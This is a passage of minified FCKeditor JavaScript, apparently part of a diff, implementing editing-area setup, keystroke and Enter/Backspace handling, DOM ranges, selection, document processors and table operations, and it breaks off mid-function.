B=A.replace(this.Regex.ProtectedTags,FCKCodeFormatter._ProtectData);B=B.replace(this.Regex.BlocksOpener,'\n$&');B=B.replace(this.Regex.BlocksCloser,'$&\n');B=B.replace(this.Regex.NewLineTags,'$&\n');B=B.replace(this.Regex.MainTags,'\n$&\n');var C='';var D=B.split(this.Regex.LineSplitter);B='';for (var i=0;i<D.length;i++){var E=D[i];if (E.length==0) continue;if (this.Regex.DecreaseIndent.test(E)) C=C.replace(this.Regex.FormatIndentatorRemove,'');B+=C+E+'\n';if (this.Regex.IncreaseIndent.test(E)) C+=FCKConfig.FormatIndentator;};for (var j=0;j<FCKCodeFormatter.ProtectedData.length;j++){var F=new RegExp('___FCKpd___'+j);B=B.replace(F,FCKCodeFormatter.ProtectedData[j].replace(/\$/g,'$$$$'));};return B.Trim();}
+var FCKUndo={};FCKUndo.SaveUndoStep=function(){}
+var FCKEditingArea=function(A){this.TargetElement=A;this.Mode=0;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKEditingArea_Cleanup);};FCKEditingArea.prototype.Start=function(A,B){var C=this.TargetElement;var D=FCKTools.GetElementDocument(C);while(C.childNodes.length>0) C.removeChild(C.childNodes[0]);if (this.Mode==0){var E=this.IFrame=D.createElement('iframe');E.src='javascript:void(0)';E.frameBorder=0;E.width=E.height='100%';C.appendChild(E);if (FCKBrowserInfo.IsIE) A=A.replace(/(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi,'$1></base>');else if (!B){if (FCKBrowserInfo.IsGecko) A=A.replace(/(<body[^>]*>)\s*(<\/body>)/i,'$1'+GECKO_BOGUS+'$2');var F=A.match(FCKRegexLib.BodyContents);if (F){A=F[1]+'&nbsp;'+F[3];this._BodyHTML=F[2];}else this._BodyHTML=A;};this.Window=E.contentWindow;var G=this.Document=this.Window.document;G.open();G.write(A);G.close();if (FCKBrowserInfo.IsGecko10&&!B){this.Start(A,true);return;};this.Window._FCKEditingArea=this;if (FCKBrowserInfo.IsGecko10) this.Window.setTimeout(FCKEditingArea_CompleteStart,500);else FCKEditingArea_CompleteStart.call(this.Window);}else{var H=this.Textarea=D.createElement('textarea');H.className='SourceField';H.dir='ltr';H.style.width=H.style.height='100%';H.style.border='none';C.appendChild(H);H.value=A;FCKTools.RunFunction(this.OnLoad);}};function FCKEditingArea_CompleteStart(){if (!this.document.body){this.setTimeout(FCKEditingArea_CompleteStart,50);return;};var A=this._FCKEditingArea;A.MakeEditable();FCKTools.RunFunction(A.OnLoad);};FCKEditingArea.prototype.MakeEditable=function(){var A=this.Document;if (FCKBrowserInfo.IsIE){A.body.contentEditable=true;}else{try{A.body.spellcheck=(this.FFSpellChecker!==false);if (this._BodyHTML){A.body.innerHTML=this._BodyHTML;this._BodyHTML=null;};A.designMode='on';try{A.execCommand('styleWithCSS',false,FCKConfig.GeckoUseSPAN);}catch (e){A.execCommand('useCSS',false,!FCKConfig.GeckoUseSPAN);};A.execCommand('enableObjectResizing',false,!FCKConfig.DisableObjectResizing);A.execCommand('enableInlineTableEditing',false,!FCKConfig.DisableFFTableHandles);}catch (e) {}}};FCKEditingArea.prototype.Focus=function(){try{if (this.Mode==0){if (FCKBrowserInfo.IsIE&&this.Document.hasFocus()) return;if (FCKBrowserInfo.IsSafari) this.IFrame.focus();else{this.Window.focus();}}else{var A=FCKTools.GetElementDocument(this.Textarea);if ((!A.hasFocus||A.hasFocus())&&A.activeElement==this.Textarea) return;this.Textarea.focus();}}catch(e) {}};function FCKEditingArea_Cleanup(){this.TargetElement=null;this.IFrame=null;this.Document=null;this.Textarea=null;if (this.Window){this.Window._FCKEditingArea=null;this.Window=null;}}
+var FCKKeystrokeHandler=function(A){this.Keystrokes={};this.CancelCtrlDefaults=(A!==false);};FCKKeystrokeHandler.prototype.AttachToElement=function(A){FCKTools.AddEventListenerEx(A,'keydown',_FCKKeystrokeHandler_OnKeyDown,this);if (FCKBrowserInfo.IsGecko10||FCKBrowserInfo.IsOpera||(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsMac)) FCKTools.AddEventListenerEx(A,'keypress',_FCKKeystrokeHandler_OnKeyPress,this);};FCKKeystrokeHandler.prototype.SetKeystrokes=function(){for (var i=0;i<arguments.length;i++){var A=arguments[i];if (typeof(A[0])=='object') this.SetKeystrokes.apply(this,A);else{if (A.length==1) delete this.Keystrokes[A[0]];else this.Keystrokes[A[0]]=A[1]===true?true:A;}}};function _FCKKeystrokeHandler_OnKeyDown(A,B){var C=A.keyCode||A.which;var D=0;if (A.ctrlKey||A.metaKey) D+=CTRL;if (A.shiftKey) D+=SHIFT;if (A.altKey) D+=ALT;var E=C+D;var F=B._CancelIt=false;var G=B.Keystrokes[E];if (G){if (G===true||!(B.OnKeystroke&&B.OnKeystroke.apply(B,G))) return true;F=true;};if (F||(B.CancelCtrlDefaults&&D==CTRL&&(C<33||C>40))){B._CancelIt=true;if (A.preventDefault) return A.preventDefault();A.returnValue=false;A.cancelBubble=true;return false;};return true;};function _FCKKeystrokeHandler_OnKeyPress(A,B){if (B._CancelIt){if (A.preventDefault) return A.preventDefault();return false;};return true;}
+var FCKListHandler={OutdentListItem:function(A){var B=A.parentNode;if (B.tagName.toUpperCase().Equals('UL','OL')){var C=FCKTools.GetElementDocument(A);var D=new FCKDocumentFragment(C);var E=D.RootNode;var F=false;var G=FCKDomTools.GetFirstChild(A,['UL','OL']);if (G){F=true;var H;while ((H=G.firstChild)) E.appendChild(G.removeChild(H));FCKDomTools.RemoveNode(G);};var I;var J=false;while ((I=A.nextSibling)){if (!F&&I.nodeType==1&&I.nodeName.toUpperCase()=='LI') J=F=true;E.appendChild(I.parentNode.removeChild(I));if (!J&&I.nodeType==1&&I.nodeName.toUpperCase().Equals('UL','OL')) FCKDomTools.RemoveNode(I,true);};var K=B.parentNode.tagName.toUpperCase();var L=(K=='LI');if (L||K.Equals('UL','OL')){if (F){var G=B.cloneNode(false);D.AppendTo(G);A.appendChild(G);}else if (L) D.InsertAfterNode(B.parentNode);else D.InsertAfterNode(B);if (L) FCKDomTools.InsertAfterNode(B.parentNode,B.removeChild(A));else FCKDomTools.InsertAfterNode(B,B.removeChild(A));}else{if (F){var N=B.cloneNode(false);D.AppendTo(N);FCKDomTools.InsertAfterNode(B,N);};var O=C.createElement('p');FCKDomTools.MoveChildren(B.removeChild(A),O);FCKDomTools.InsertAfterNode(B,O);A=O;};if (this.CheckEmptyList(B)) FCKDomTools.RemoveNode(B,true);};return A;},CheckEmptyList:function(A){return (FCKDomTools.GetFirstChild(A,'LI')==null);},CheckListHasContents:function(A){var B=A.firstChild;while (B){switch (B.nodeType){case 1:if (!B.nodeName.IEquals('UL','LI')) return true;break;case 3:if (B.nodeValue.Trim().length>0) return true;};B=B.nextSibling;};return false;}};
+var FCKElementPath=function(A){var B=null;var C=null;var D=[];var e=A;while (e){if (e.nodeType==1){if (!this.LastElement) this.LastElement=e;var E=e.nodeName.toLowerCase();if (!C&&!B&&FCKListsLib.PathBlockElements[E]!=null) B=e;if (!C&&(/^(?:body|td|th|caption|form)$/).test(E)) C=e;D.push(e);if (E=='BODY') break;};e=e.parentNode;};this.Block=B;this.BlockLimit=C;this.Elements=D;};
+var FCKDomRange=function(A){this.Window=A;};FCKDomRange.prototype={_UpdateElementInfo:function(){if (!this._Range) this.Release(true);else{var A=this._Range.startContainer;var B=this._Range.endContainer;var C=new FCKElementPath(A);this.StartContainer=C.LastElement;this.StartBlock=C.Block;this.StartBlockLimit=C.BlockLimit;if (A!=B) C=new FCKElementPath(B);this.EndContainer=C.LastElement;this.EndBlock=C.Block;this.EndBlockLimit=C.BlockLimit;}},CreateRange:function(){return new FCKW3CRange(this.Window.document);},DeleteContents:function(){if (this._Range){this._Range.deleteContents();this._UpdateElementInfo();}},ExtractContents:function(){if (this._Range){var A=this._Range.extractContents();this._UpdateElementInfo();return A;}},CheckIsCollapsed:function(){if (this._Range) return this._Range.collapsed;},Collapse:function(A){if (this._Range) this._Range.collapse(A);this._UpdateElementInfo();},Clone:function(){var A=FCKTools.CloneObject(this);if (this._Range) A._Range=this._Range.cloneRange();return A;},MoveToNodeContents:function(A){if (!this._Range) this._Range=this.CreateRange();this._Range.selectNodeContents(A);this._UpdateElementInfo();},MoveToElementStart:function(A){this.SetStart(A,1);this.SetEnd(A,1);},InsertNode:function(A){if (this._Range) this._Range.insertNode(A);},CheckIsEmpty:function(A){if (this.CheckIsCollapsed()) return true;var B=this.Window.document.createElement('div');this._Range.cloneContents().AppendTo(B);FCKDomTools.TrimNode(B,A);return (B.innerHTML.length==0);},CheckStartOfBlock:function(){var A=this.Clone();A.Collapse(true);A.SetStart(A.StartBlock||A.StartBlockLimit,1);var B=A.CheckIsEmpty();A.Release();return B;},CheckEndOfBlock:function(A){var B=this.Clone();B.Collapse(false);B.SetEnd(B.EndBlock||B.EndBlockLimit,2);var C=B.CheckIsEmpty(true);B.Release();if (A) this.Select();return C;},CreateBookmark:function(){var A={StartId:'fck_dom_range_start_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000),EndId:'fck_dom_range_end_'+(new Date()).valueOf()+'_'+Math.floor(Math.random()*1000)};var B=this.Window.document;var C;var D;if (!this.CheckIsCollapsed()){C=B.createElement('span');C.id=A.EndId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(false);D.InsertNode(C);};C=B.createElement('span');C.id=A.StartId;C.innerHTML='&nbsp;';D=this.Clone();D.Collapse(true);D.InsertNode(C);return A;},MoveToBookmark:function(A,B){var C=this.Window.document;var D=C.getElementById(A.StartId);var E=C.getElementById(A.EndId);this.SetStart(D,3);if (!B) FCKDomTools.RemoveNode(D);if (E){this.SetEnd(E,3);if (!B) FCKDomTools.RemoveNode(E);}else this.Collapse(true);},SetStart:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setStart(A,0);break;case 2:C.setStart(A,A.childNodes.length);break;case 3:C.setStartBefore(A);break;case 4:C.setStartAfter(A);};this._UpdateElementInfo();},SetEnd:function(A,B){var C=this._Range;if (!C) C=this._Range=this.CreateRange();switch(B){case 1:C.setEnd(A,0);break;case 2:C.setEnd(A,A.childNodes.length);break;case 3:C.setEndBefore(A);break;case 4:C.setEndAfter(A);};this._UpdateElementInfo();},Expand:function(A){var B,oSibling;switch (A){case 'block_contents':if (this.StartBlock) this.SetStart(this.StartBlock,1);else{B=this._Range.startContainer;if (B.nodeType==1){if (!(B=B.childNodes[this._Range.startOffset])) B=B.firstChild;};if (!B) return;while (true){oSibling=B.previousSibling;if (!oSibling){if (B.parentNode!=this.StartBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setStartBefore(B);};if (this.EndBlock) this.SetEnd(this.EndBlock,2);else{B=this._Range.endContainer;if (B.nodeType==1) B=B.childNodes[this._Range.endOffset]||B.lastChild;if (!B) return;while (true){oSibling=B.nextSibling;if (!oSibling){if (B.parentNode!=this.EndBlockLimit) B=B.parentNode;else break;}else if (oSibling.nodeType!=1||!(/^(?:P|DIV|H1|H2|H3|H4|H5|H6|ADDRESS|PRE|OL|UL|LI|DT|DE)$/).test(oSibling.nodeName.toUpperCase())){B=oSibling;}else break;};this._Range.setEndAfter(B);};this._UpdateElementInfo();}},Release:function(A){if (!A) this.Window=null;this.StartContainer=null;this.StartBlock=null;this.StartBlockLimit=null;this.EndContainer=null;this.EndBlock=null;this.EndBlockLimit=null;this._Range=null;}};
+FCKDomRange.prototype.MoveToSelection=function(){this.Release(true);var A=this.Window.getSelection();if (A.rangeCount==1){this._Range=FCKW3CRange.CreateFromRange(this.Window.document,A.getRangeAt(0));this._UpdateElementInfo();}};FCKDomRange.prototype.Select=function(){var A=this._Range;if (A){var B=this.Window.document.createRange();B.setStart(A.startContainer,A.startOffset);try{B.setEnd(A.endContainer,A.endOffset);}catch (e){if (e.toString().Contains('NS_ERROR_ILLEGAL_VALUE')){A.collapse(true);B.setEnd(A.endContainer,A.endOffset);}else throw(e);};var C=this.Window.getSelection();C.removeAllRanges();C.addRange(B);}};
+var FCKDocumentFragment=function(A,B){this.RootNode=B||A.createDocumentFragment();};FCKDocumentFragment.prototype={AppendTo:function(A){A.appendChild(this.RootNode);},InsertAfterNode:function(A){FCKDomTools.InsertAfterNode(A,this.RootNode);}}
+var FCKW3CRange=function(A){this._Document=A;this.startContainer=null;this.startOffset=null;this.endContainer=null;this.endOffset=null;this.collapsed=true;};FCKW3CRange.CreateRange=function(A){return new FCKW3CRange(A);};FCKW3CRange.CreateFromRange=function(A,B){var C=FCKW3CRange.CreateRange(A);C.setStart(B.startContainer,B.startOffset);C.setEnd(B.endContainer,B.endOffset);return C;};FCKW3CRange.prototype={_UpdateCollapsed:function(){this.collapsed=(this.startContainer==this.endContainer&&this.startOffset==this.endOffset);},setStart:function(A,B){this.startContainer=A;this.startOffset=B;if (!this.endContainer){this.endContainer=A;this.endOffset=B;};this._UpdateCollapsed();},setEnd:function(A,B){this.endContainer=A;this.endOffset=B;if (!this.startContainer){this.startContainer=A;this.startOffset=B;};this._UpdateCollapsed();},setStartAfter:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setStartBefore:function(A){this.setStart(A.parentNode,FCKDomTools.GetIndexOf(A));},setEndAfter:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A)+1);},setEndBefore:function(A){this.setEnd(A.parentNode,FCKDomTools.GetIndexOf(A));},collapse:function(A){if (A){this.endContainer=this.startContainer;this.endOffset=this.startOffset;}else{this.startContainer=this.endContainer;this.startOffset=this.endOffset;};this.collapsed=true;},selectNodeContents:function(A){this.setStart(A,0);this.setEnd(A,A.nodeType==3?A.data.length:A.childNodes.length);},insertNode:function(A){var B=this.startContainer;var C=this.startOffset;if (B.nodeType==3){B.splitText(C);if (B==this.endContainer) this.setEnd(B.nextSibling,this.endOffset-this.startOffset);FCKDomTools.InsertAfterNode(B,A);return;}else{B.insertBefore(A,B.childNodes[C]||null);if (B==this.endContainer){this.endOffset++;this.collapsed=false;}}},deleteContents:function(){if (this.collapsed) return;this._ExecContentsAction(0);},extractContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(1,A);return A;},cloneContents:function(){var A=new FCKDocumentFragment(this._Document);if (!this.collapsed) this._ExecContentsAction(2,A);return A;},_ExecContentsAction:function(A,B){var C=this.startContainer;var D=this.endContainer;var E=this.startOffset;var F=this.endOffset;var G=false;var H=false;if (D.nodeType==3) D=D.splitText(F);else{if (D.childNodes.length>0){if (F>D.childNodes.length-1){D=FCKDomTools.InsertAfterNode(D.lastChild,this._Document.createTextNode(''));H=true;}else D=D.childNodes[F];}};if (C.nodeType==3){C.splitText(E);if (C==D) D=C.nextSibling;}else{if (C.childNodes.length>0&&E<=C.childNodes.length-1){if (E==0){C=C.insertBefore(this._Document.createTextNode(''),C.firstChild);G=true;}else C=C.childNodes[E].previousSibling;}};var I=FCKDomTools.GetParents(C);var J=FCKDomTools.GetParents(D);var i,topStart,topEnd;for (i=0;i<I.length;i++){topStart=I[i];topEnd=J[i];if (topStart!=topEnd) break;};var K,levelStartNode,levelClone,currentNode,currentSibling;if (B) K=B.RootNode;for (var j=i;j<I.length;j++){levelStartNode=I[j];if (K&&levelStartNode!=C) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==C));currentNode=levelStartNode.nextSibling;while(currentNode){if (currentNode==J[j]||currentNode==D) break;currentSibling=currentNode.nextSibling;if (A==2) K.appendChild(currentNode.cloneNode(true));else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.appendChild(currentNode);};currentNode=currentSibling;};if (K) K=levelClone;};if (B) K=B.RootNode;for (var k=i;k<J.length;k++){levelStartNode=J[k];if (A>0&&levelStartNode!=D) levelClone=K.appendChild(levelStartNode.cloneNode(levelStartNode==D));if (!I[k]||levelStartNode.parentNode!=I[k].parentNode){currentNode=levelStartNode.previousSibling;while(currentNode){if (currentNode==I[k]||currentNode==C) break;currentSibling=currentNode.previousSibling;if (A==2) K.insertBefore(currentNode.cloneNode(true),K.firstChild);else{currentNode.parentNode.removeChild(currentNode);if (A==1) K.insertBefore(currentNode,K.firstChild);};currentNode=currentSibling;}};if (K) K=levelClone;};if (A==2){var L=this.startContainer;if (L.nodeType==3){L.data+=L.nextSibling.data;L.parentNode.removeChild(L.nextSibling);};var M=this.endContainer;if (M.nodeType==3&&M.nextSibling){M.data+=M.nextSibling.data;M.parentNode.removeChild(M.nextSibling);}}else{if (topStart&&topEnd&&(C.parentNode!=topStart.parentNode||D.parentNode!=topEnd.parentNode)) this.setStart(topEnd.parentNode,FCKDomTools.GetIndexOf(topEnd));this.collapse(true);};if(G) C.parentNode.removeChild(C);if(H&&D.parentNode) D.parentNode.removeChild(D);},cloneRange:function(){return FCKW3CRange.CreateFromRange(this._Document,this);},toString:function(){var A=this.cloneContents();var B=this._Document.createElement('div');A.AppendTo(B);return B.textContent||B.innerText;}};
+var FCKEnterKey=function(A,B,C){this.Window=A;this.EnterMode=B||'p';this.ShiftEnterMode=C||'br';var D=new FCKKeystrokeHandler(false);D._EnterKey=this;D.OnKeystroke=FCKEnterKey_OnKeystroke;D.SetKeystrokes([[13,'Enter'],[SHIFT+13,'ShiftEnter'],[8,'Backspace'],[46,'Delete']]);D.AttachToElement(A.document);};function FCKEnterKey_OnKeystroke(A,B){var C=this._EnterKey;try{switch (B){case 'Enter':return C.DoEnter();break;case 'ShiftEnter':return C.DoShiftEnter();break;case 'Backspace':return C.DoBackspace();break;case 'Delete':return C.DoDelete();}}catch (e){};return false;};FCKEnterKey.prototype.DoEnter=function(A,B){this._HasShift=(B===true);var C=A||this.EnterMode;if (C=='br') return this._ExecuteEnterBr();else return this._ExecuteEnterBlock(C);};FCKEnterKey.prototype.DoShiftEnter=function(){return this.DoEnter(this.ShiftEnterMode,true);};FCKEnterKey.prototype.DoBackspace=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (!B.CheckIsCollapsed()) return false;var C=B.StartBlock;var D=B.EndBlock;if (B.StartBlockLimit==B.EndBlockLimit&&C&&D){if (!B.CheckIsCollapsed()){var E=B.CheckEndOfBlock();B.DeleteContents();if (C!=D){B.SetStart(D,1);B.SetEnd(D,1);};B.Select();A=(C==D);};if (B.CheckStartOfBlock()){var F=B.StartBlock;var G=FCKDomTools.GetPreviousSourceElement(F,true,['BODY',B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,G,F);}else if (FCKBrowserInfo.IsGecko){B.Select();}};B.Release();return A;};FCKEnterKey.prototype._ExecuteBackspace=function(A,B,C){var D=false;if (!B&&C.nodeName.IEquals('LI')&&C.parentNode.parentNode.nodeName.IEquals('LI')){B=C.parentNode.parentNode;C=FCKListHandler.OutdentListItem(C);};if (B&&B.nodeName.IEquals('LI')){var E=FCKDomTools.GetLastChild(B,['UL','OL']);while (E){B=FCKDomTools.GetLastChild(E,'LI');E=FCKDomTools.GetLastChild(B,['UL','OL']);}};if (B&&C){if (C.nodeName.IEquals('LI')&&!B.nodeName.IEquals('LI')) C=FCKListHandler.OutdentListItem(C);var F=C.parentNode;if (B.nodeName.IEquals('TABLE','HR')){FCKDomTools.RemoveNode(B);D=true;}else{FCKDomTools.RemoveNode(C);while (F.innerHTML.Trim().length==0){var G=F.parentNode;G.removeChild(F);F=G;};FCKDomTools.TrimNode(C);FCKDomTools.TrimNode(B);A.SetStart(B,2);A.Collapse(true);var H=A.CreateBookmark();FCKDomTools.MoveChildren(C,B);A.MoveToBookmark(H);A.Select();D=true;}};return D;};FCKEnterKey.prototype.DoDelete=function(){var A=false;var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.CheckIsCollapsed()&&B.CheckEndOfBlock(FCKBrowserInfo.IsGecko)){var C=B.StartBlock;var D=FCKDomTools.GetNextSourceElement(C,true,[B.StartBlockLimit.nodeName],['UL','OL']);A=this._ExecuteBackspace(B,C,D);};B.Release();return A;};FCKEnterKey.prototype._ExecuteEnterBlock=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){if (!B.StartBlock) this._FixBlock(B,true,A);if (!B.EndBlock) this._FixBlock(B,false,A);var C=B.StartBlock;var D=B.EndBlock;if (!B.CheckIsEmpty()) B.DeleteContents();if (C==D){var E;var F=B.CheckStartOfBlock();var G=B.CheckEndOfBlock();if (F&&!G){E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike) E.innerHTML=GECKO_BOGUS;C.parentNode.insertBefore(E,C);if (FCKBrowserInfo.IsIE){B.MoveToNodeContents(E);B.Select();};B.MoveToElementStart(C);}else{if (G){var H=C.tagName.toUpperCase();if (F&&H=='LI'){var I=FCKListHandler.OutdentListItem(C);B.MoveToElementStart(I);}else{if ((/^H[1-6]$/).test(H)) E=this.Window.document.createElement(A);else E=C.cloneNode(false);if (FCKBrowserInfo.IsGeckoLike){E.innerHTML=GECKO_BOGUS;if (F) C.innerHTML=GECKO_BOGUS;}}}else{B.SetEnd(C,2);var J=B.ExtractContents();E=C.cloneNode(false);FCKDomTools.TrimNode(J.RootNode);if (J.RootNode.firstChild.nodeType==1&&J.RootNode.firstChild.tagName.toUpperCase().Equals('UL','OL')) E.innerHTML=GECKO_BOGUS;J.AppendTo(E);if (FCKBrowserInfo.IsGecko){var K=FCKDomTools.GetLastChild(E);if (!K||K.nodeName.toLowerCase()!='br'||K.getAttribute('type',2)!='_moz') E.appendChild(FCKTools.CreateBogusBR(this.Window.document));}};if (E){FCKDomTools.InsertAfterNode(C,E);B.MoveToElementStart(E);if (FCKBrowserInfo.IsGecko) E.scrollIntoView(false);}}}else{B.MoveToElementStart(D);};B.Select();};B.Release();return true;};FCKEnterKey.prototype._ExecuteEnterBr=function(A){var B=new FCKDomRange(this.Window);B.MoveToSelection();if (B.StartBlockLimit==B.EndBlockLimit){B.DeleteContents();B.MoveToSelection();var C=B.CheckStartOfBlock();var D=B.CheckEndOfBlock();var E=B.StartBlock?B.StartBlock.tagName.toUpperCase():'';var F=this._HasShift;if (!F&&E=='LI') return this._ExecuteEnterBlock(null);if (!F&&D&&(/^H[1-6]$/).test(E)){FCKDebug.Output('BR - Header');FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createElement('br'));if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(B.StartBlock,this.Window.document.createTextNode(''));B.SetStart(B.StartBlock.nextSibling,FCKBrowserInfo.IsIE?3:1);}else{FCKDebug.Output('BR - No Header');var G=this.Window.document.createElement('br');B.InsertNode(G);if (FCKBrowserInfo.IsGecko) FCKDomTools.InsertAfterNode(G,this.Window.document.createTextNode(''));if (D&&FCKBrowserInfo.IsGecko){var H=FCKDomTools.GetLastChild(G.parentNode,'BR');if (H&&H.getAttribute('type',2)!='_moz') G.parentNode.appendChild(FCKTools.CreateBogusBR(this.Window.document));};if (FCKBrowserInfo.IsIE) B.SetStart(G,4);else B.SetStart(G.nextSibling,1);};B.Collapse(true);B.Select();};B.Release();return true;};FCKEnterKey.prototype._FixBlock=function(A,B,C){var D=A.CreateBookmark();A.Collapse(B);A.Expand('block_contents');var E=this.Window.document.createElement(C);A.ExtractContents().AppendTo(E);FCKDomTools.TrimNode(E);A.InsertNode(E);A.MoveToBookmark(D);}
+var FCKDocumentProcessor={};FCKDocumentProcessor._Items=[];FCKDocumentProcessor.AppendNew=function(){var A={};this._Items.AddItem(A);return A;};FCKDocumentProcessor.Process=function(A){var B,i=0;while((B=this._Items[i++])) B.ProcessDocument(A);};var FCKDocumentProcessor_CreateFakeImage=function(A,B){var C=FCK.EditorDocument.createElement('IMG');C.className=A;C.src=FCKConfig.FullBasePath+'images/spacer.gif';C.setAttribute('_fckfakelement','true',0);C.setAttribute('_fckrealelement',FCKTempBin.AddElement(B),0);return C;};if (FCKBrowserInfo.IsIE||FCKBrowserInfo.IsOpera){var FCKAnchorsProcessor=FCKDocumentProcessor.AppendNew();FCKAnchorsProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('A');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.name.length>0){if (C.innerHTML!=''){if (FCKBrowserInfo.IsIE) C.className+=' FCK__AnchorC';}else{var D=FCKDocumentProcessor_CreateFakeImage('FCK__Anchor',C.cloneNode(true));D.setAttribute('_fckanchor','true',0);C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}}}};var FCKPageBreaksProcessor=FCKDocumentProcessor.AppendNew();FCKPageBreaksProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('DIV');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.style.pageBreakAfter=='always'&&C.childNodes.length==1&&C.childNodes[0].style&&C.childNodes[0].style.display=='none'){var D=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',C.cloneNode(true));C.parentNode.insertBefore(D,C);C.parentNode.removeChild(C);}}};var FCKFlashProcessor=FCKDocumentProcessor.AppendNew();FCKFlashProcessor.ProcessDocument=function(A){var B=A.getElementsByTagName('EMBED');var C;var i=B.length-1;while (i>=0&&(C=B[i--])){if (C.src.EndsWith('.swf',true)){var D=C.cloneNode(true);if (FCKBrowserInfo.IsIE){var E=['scale','play','loop','menu','wmode','quality'];for (var F=0;i<E.length;i++){var G=C.getAttribute(E[F]);if (G) D.setAttribute(E[F],G);}};var H=FCKDocumentProcessor_CreateFakeImage('FCK__Flash',D);H.setAttribute('_fckflash','true',0);FCKFlashProcessor.RefreshView(H,C);C.parentNode.insertBefore(H,C);C.parentNode.removeChild(C);}}};FCKFlashProcessor.RefreshView=function(A,B){if (B.width>0) A.style.width=FCKTools.ConvertHtmlSizeToStyle(B.width);if (B.height>0) A.style.height=FCKTools.ConvertHtmlSizeToStyle(B.height);};FCK.GetRealElement=function(A){var e=FCKTempBin.Elements[A.getAttribute('_fckrealelement')];if (A.getAttribute('_fckflash')){if (A.style.width.length>0) e.width=FCKTools.ConvertStyleSizeToHtml(A.style.width);if (A.style.height.length>0) e.height=FCKTools.ConvertStyleSizeToHtml(A.style.height);};return e;};
+var FCKSelection=FCK.Selection={};
+FCKSelection.GetType=function(){this._Type='Text';var A;try { A=FCK.EditorWindow.getSelection();}catch (e) {};if (A&&A.rangeCount==1){var B=A.getRangeAt(0);if (B.startContainer==B.endContainer&&(B.endOffset-B.startOffset)==1&&B.startContainer.nodeType!=Node.TEXT_NODE) this._Type='Control';};return this._Type;};FCKSelection.GetSelectedElement=function(){if (this.GetType()=='Control'){var A=FCK.EditorWindow.getSelection();return A.anchorNode.childNodes[A.anchorOffset];};return null;};FCKSelection.GetParentElement=function(){if (this.GetType()=='Control') return FCKSelection.GetSelectedElement().parentNode;else{var A=FCK.EditorWindow.getSelection();if (A){var B=A.anchorNode;while (B&&B.nodeType!=1) B=B.parentNode;return B;}};return null;};FCKSelection.SelectNode=function(A){var B=FCK.EditorDocument.createRange();B.selectNode(A);var C=FCK.EditorWindow.getSelection();C.removeAllRanges();C.addRange(B);};FCKSelection.Collapse=function(A){var B=FCK.EditorWindow.getSelection();if (A==null||A===true) B.collapseToStart();else B.collapseToEnd();};FCKSelection.HasAncestorNode=function(A){var B=this.GetSelectedElement();if (!B&&FCK.EditorWindow){try              { B=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;}catch(e){}};while (B){if (B.nodeType==1&&B.tagName==A) return true;B=B.parentNode;};return false;};FCKSelection.MoveToAncestorNode=function(A){var B;var C=this.GetSelectedElement();if (!C) C=FCK.EditorWindow.getSelection().getRangeAt(0).startContainer;while (C){if (C.nodeName==A) return C;C=C.parentNode;};return null;};FCKSelection.Delete=function(){var A=FCK.EditorWindow.getSelection();for (var i=0;i<A.rangeCount;i++){A.getRangeAt(i).deleteContents();};return A;};
+var FCKTableHandler={};FCKTableHandler.InsertRow=function(){var A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=A.cloneNode(true);A.parentNode.insertBefore(B,A);FCKTableHandler.ClearRow(A);};FCKTableHandler.DeleteRows=function(A){if (!A) A=FCKSelection.MoveToAncestorNode('TR');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');if (B.rows.length==1){FCKTableHandler.DeleteTable(B);return;};A.parentNode.removeChild(A);};FCKTableHandler.DeleteTable=function(A){if (!A){A=FCKSelection.GetSelectedElement();if (!A||A.tagName!='TABLE') A=FCKSelection.MoveToAncestorNode('TABLE');};if (!A) return;FCKSelection.SelectNode(A);FCKSelection.Collapse();A.parentNode.removeChild(A);};FCKTableHandler.InsertColumn=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex+1;for (var i=0;i<B.rows.length;i++){var D=B.rows[i];if (D.cells.length<C) continue;A=D.cells[C-1].cloneNode(false);if (FCKBrowserInfo.IsGecko) A.innerHTML=GECKO_BOGUS;var E=D.cells[C];if (E) D.insertBefore(A,E);else D.appendChild(A);}};FCKTableHandler.DeleteColumns=function(){var A=FCKSelection.MoveToAncestorNode('TD')||FCKSelection.MoveToAncestorNode('TH');if (!A) return;var B=FCKTools.GetElementAscensor(A,'TABLE');var C=A.cellIndex;for (var i=B.rows.length-1;i>=0;i--){var D=B.rows[i];if (C==0&&D.cells.length==1){FCKTableHandler.DeleteRows(D);continue;};if (D.cells[C]) D.removeChild(D.cells[C]);}};FCKTableHandler.InsertCell=function(A){var B=A?A:FCKSelection.MoveToAncestorNode('TD');if (!B) return null;var C=FCK.EditorDocument.createElement('TD');if 